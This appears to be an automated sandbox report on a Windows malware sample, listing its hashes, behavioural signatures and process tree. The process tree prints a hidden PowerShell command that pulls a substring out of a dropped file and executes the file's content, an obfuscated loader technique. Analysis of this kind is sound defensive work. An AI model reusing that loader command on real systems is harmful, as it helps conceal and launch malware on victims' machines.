Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240319-en
  • resource tags

    arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
  • submitted
    17/04/2024, 14:19

General

  • Target

    e25d6621a38cc9d1dd2428d1886a5080ceec742e8c22fe754e31f6d81eaad44e.exe

  • Size

    574KB

  • MD5

    bae2b5f2ba2e3976d19f78cd57589b43

  • SHA1

    c8cbfb695d01b52a83790146fa2ff89de37447ad

  • SHA256

    e25d6621a38cc9d1dd2428d1886a5080ceec742e8c22fe754e31f6d81eaad44e

  • SHA512

    fbaf47cfac100602fbfdf7bb3d29261c822ef5bfee8f4931ac2f6310339734ca13aadd2fb51f7f36ddc54daf59591723c69daf1eea54d71203ad3608046b70e8

  • SSDEEP

    12288:U1JKwATSHsf9/erPv2OzvwvtV9Tj20z168E7rg3ONKUHOI:UhATSMV/eL+OzGTjxzk8QOyHL

Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e25d6621a38cc9d1dd2428d1886a5080ceec742e8c22fe754e31f6d81eaad44e.exe
    "C:\Users\Admin\AppData\Local\Temp\e25d6621a38cc9d1dd2428d1886a5080ceec742e8c22fe754e31f6d81eaad44e.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Caenostylic=Get-Content 'C:\Users\Admin\AppData\Roaming\kolossens\livrente\markedsfringsomkostnings\rigsombudsmndenes\Vildspors\Tjenestefries\Abrased.Wig';$Benraden=$Caenostylic.SubString(44385,3);.$Benraden($Caenostylic)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • \Users\Admin\AppData\Local\Temp\nsd2F7A.tmp\nsExec.dll

          Filesize

          6KB

          MD5

          293165db1e46070410b4209519e67494

          SHA1

          777b96a4f74b6c34d43a4e7c7e656757d1c97f01

          SHA256

          49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

          SHA512

          97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

        • memory/2588-22-0x0000000073E70000-0x000000007441B000-memory.dmp

          Filesize

          5.7MB

        • memory/2588-23-0x0000000073E70000-0x000000007441B000-memory.dmp

          Filesize

          5.7MB

        • memory/2588-24-0x0000000002200000-0x0000000002240000-memory.dmp

          Filesize

          256KB

        • memory/2588-25-0x0000000002200000-0x0000000002240000-memory.dmp

          Filesize

          256KB

        • memory/2588-26-0x0000000002200000-0x0000000002240000-memory.dmp

          Filesize

          256KB

        • memory/2588-27-0x0000000073E70000-0x000000007441B000-memory.dmp

          Filesize

          5.7MB